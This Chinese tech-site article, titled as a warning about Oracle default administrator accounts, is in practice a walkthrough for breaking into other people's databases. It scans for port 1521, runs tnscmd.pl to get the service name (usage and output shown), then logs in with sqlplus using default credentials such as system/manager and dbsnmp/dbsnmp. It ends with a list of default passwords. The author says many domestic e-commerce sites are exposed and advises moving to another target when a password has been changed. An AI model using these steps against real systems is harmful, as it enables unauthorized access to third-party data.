Oracle默认管理员带来的数据库安全隐患

数据库 Oracle
数据库为了安装和调试的方便,大多有默认管理员的设置。Oracle默认管理员的用户名和密码也多半一样,因此产生了一些安全隐患。

Oracle默认管理员密码是固定的,这是为了安装和调试的方便。Oracle数据库中的两个具有DBA权限的用户Sys和System。笔者发现很多国内网站的Oracle数据库没有更改这两个用户的密码,其中也包括很多大型的电子商务网站,我们就可以利用这个缺省密码去找我们感兴趣的东西。

进行测试前我们先来了解一些相关的知识,我们连接一个Oracle数据库的时候,需要知道它的service_name或者是Sid值,就象mssql一样,需要知道数据库名。那如何去知道呢,猜?呵呵,显然是不行的。这里我们先讲讲oracle的TNSlistener,它位于数据库Client和数据库Server之间,默认监听1521端口,这个监听端口是可以更改的。但是如果你用一个tcp的session去连接1521端口的话,oracle将不会返回它的banner,如果你输入一些东西的话,它甚至有可能把你踢出去。这里我们就需要用tnscmd.pl这个perl程序了,它可以查询远程 oracle数据库是否开启(也就是ping了),查询版本,以及查询它的服务名,服务状态和数据库服务名,而且正确率很高。

理论方面的讲完了,如果还有什么不懂的可以去查找相关资料。现在开始测试吧,需要的工具有:ActivePerl,Oracle客户端,Superscan或者是其它扫描端口的软件,Tnscmd.pl.我们先用Superscan扫描开放了端口1521的主机,假设其IP是xx.xx.110.110,这样目标已经有了。然后我们要做的就是用Tnscmd.pl来查询远程数据库的服务名了,Tnscmd.pl的用法如下:

  1. C:\perl\bin@@@@dayu@@@@perl tnscmd.pl   
  2. usage: tnscmd.pl [command] -h hostname   
  3. where "command" is something like ping, version, status,etc.   
  4. (default is ping)   
  5. [-p port] - alternate TCP port to use (default is 1521)   
  6. [--logfile logfile] - write raw packets to specifiedlogfile   
  7. [--indent] - indent & outdent on parens   
  8. [--rawcmd command] - build your own CONNECT_DATA string   
  9. [--cmdsize bytes] - fake TNS command size (revealspacketleakage)   
  10.  

我们下面用的只有简单的几个命令,其他的命令也很好用,一起去发掘吧。

然后我们就这样来:

  1. C:\perl\bin@@@@dayu@@@@perl tnscmd.pl services -hxx.xx.110.110-p 1521 –indent   
  2. sending (CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521   
  3. writing 91 bytes   
  4. reading   
  5. ._.......6.........?. ..........   
  6. DETION=   
  7. TMP=   
  8. VSNNUM=135286784   
  9. ERR=0   
  10. SERVICES_EXIST=1   
  11. .Q........   
  12. SERVICE=   
  13. SERVICE_NAME=ORCL   
  14. INSTANCE=   
  15. INSTANCE_NAME=ORCL   
  16. NUM=1   
  17. INSTANCE_CLASS=ORACLE   
  18. HANDLER=   
  19. HANDLER_DISPLAY=DEDICATED SERVER   
  20. STA=ready   
  21. HANDLER_INFO=LOCAL SERVER   
  22. HANDLER_MAXLOAD=0   
  23. HANDLER_LOAD=0   
  24. ESTABLISHED=447278   
  25. REFUSED=0   
  26. HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227   
  27. HANDLER_NAME=DEDICATED   
  28. ADDRESS=   
  29. PROTOCOL=beq   
  30. PROGRAM=/home/oracle/bin/oracle   
  31. ENVS="ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL"   
  32. ARGV0=oracleORCL   
  33. ARGS="   
  34. LOCAL=NO   
  35. "   
  36. .........@   
  37.  

从上面得到的信息我们可以看出数据库的服务名为ORCL,然后我们就可以通过sqlplus工具来远程连上它了,用户名和密码我们用默认的 system/manager或者是sys/manager(Oracle默认管理员),其他的如mdsys/mdsys,ctxsys/ctxsys等,这个默认用户和密码是随版本的不同而改变的。如下:

  1. C:\oracle\ora90\BIN@@@@dayu@@@@sqlplus /nolog   
  2. SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 2311:36:592002   
  3. (c) Copycenter 2001 Oracle Corporation. All centersreserved.   
  4. SQL@@@@dayu@@@@connect system/manager@   
  5. (detion=(address_list=(address=(protocol=tcp)   
  6. (host=xx.xx.110.110)(port=1521)))   
  7. (connect_data=(SERVICE_NAME=ORCL)));   
  8.  

如果密码正确,那么就会提示connected,如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。当然如果对方已经把默认密码改了,那我们只能换别的目标了。但是我发现很多都是不改的,这个就是安全意识的问题了。

附录 Oracle默认管理员密码

1.
用户名:sys
密码:change_on_install

2.
用户名:system
密码:manager

3.
用户名:scott
密码:tiger

【编辑推荐】

  1. 详解Oracle如何解锁用户的方法
  2. 五分钟精通Oracle表空间
  3. 五种Oracle用户的授权与管理
  4. Oracle管理员手册:数据库管理工具
  5. Oracle用户名更改操作四步走
责任编辑:yangsai 来源: 网络转载
相关推荐

2009-11-06 17:39:41

2010-05-27 17:23:07

2017-02-24 08:11:09

Docker数据安全容器

2011-04-01 16:35:09

SQL Server数触发器

2012-06-25 09:18:36

2017-07-12 09:11:16

2011-03-15 13:06:06

Oracle数据库管理员

2011-03-15 13:25:41

Oracle数据库管理员维护

2010-10-12 16:22:29

2013-07-24 09:33:46

Hadoop安全加密

2011-05-05 18:28:18

2009-10-26 17:29:21

Oracle管理员数据库管理

2010-09-17 14:29:23

2015-01-07 11:19:54

2011-03-15 11:34:43

Oracle数据库管理员任务

2009-11-19 14:01:17

2016-09-29 22:09:26

2012-03-28 14:50:40

2009-07-06 13:38:02

2011-08-17 15:29:00

点赞
收藏

51CTO技术栈公众号